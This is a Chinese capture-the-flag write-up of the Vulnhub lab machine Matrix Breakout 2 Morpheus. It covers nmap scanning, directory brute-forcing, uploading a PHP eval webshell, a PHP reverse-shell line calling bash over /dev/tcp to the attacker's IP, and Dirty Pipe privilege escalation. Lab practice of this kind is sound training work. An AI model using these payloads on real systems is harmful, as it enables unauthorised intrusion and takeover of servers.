vulhub靶场-matrix-breakout-2-morpheus

下载&部署

从官网中下载 https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

下载完成后，在vmware中打开，选择刚刚下载的ova文件

vmware打开文件后需要将刚导入的机器重新启动

再检查下网卡是否是和kali在同一张网卡下就可以开始打靶了

通关步骤

信息收集

首先确定目标ip

nmap -sn 192.168.111.1/24
#不扫描端口进行c段主机发现

确定玩目标后就可以开始扫描端口

nmap -p- 192.168.111.131
#扫描目标ip全端口

发现开放的端口服务，可以通过爆破ssh弱口令的形式来直接获取服务器权限，但一般ssh的口令都不太好爆破，访问开放的http服务

对目录进行扫描

python3 dirsearch.py -u http://192.168.111.131/

dirsearch扫描无果，尝试用个大字典，最后用dirbuster和字典进行爆破尝试字典路径 /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

漏洞利用-上传webshell

访问网页

打开burp抓包提交数据，发现数据包内容如下

尝试写入一句话木马，并且修改文件后缀

<?= eval($_POST[1])?>

上传后访问文件是否存在，用antsword进行连接

看到这里基本上就能获取到服务器的权限了

内网信息收集

通过目录搜索，我们发可以发现根目录下的FLAG1

根据提示，在 cypher-neo.png 中存在flag，但是下载图片后并没有发现什么有用的信息，查看图片的时候需要把图片前面的.去掉才能在文件夹中看到图片

回到shell中可以发现权限并不是root，尝试提权，用到提取搜索脚本 linux-exploit-suggester.sh GitHub - mungurk/linux-exploit-suggester.sh

为了方便我们把下载的sh脚本放到tmp目录下，给他可执行权限来执行

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

提权

发现CVE-2022-0847-dirty pipe可以优先尝试下，因为该漏洞的时间性和便于利用性，可以很好的帮我进行漏洞利用

从这里下载 https://github.com/r1is/CVE-2022-0847 然后上传到 /tmp 目录下

同样给上执行权限777

这里的话需要注意，提权的话，我们需要有一个bash终端才能在提权后成功获取到root权限的bash，所以我们先用php来获取一个bash

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.111.130/13888 0>&1'");?>

然后在终端中监听13888端口，浏览器中访问 1.php

接着运行 Dirty-Pipe.sh

接着就是翻翻目录，成功找到目标文件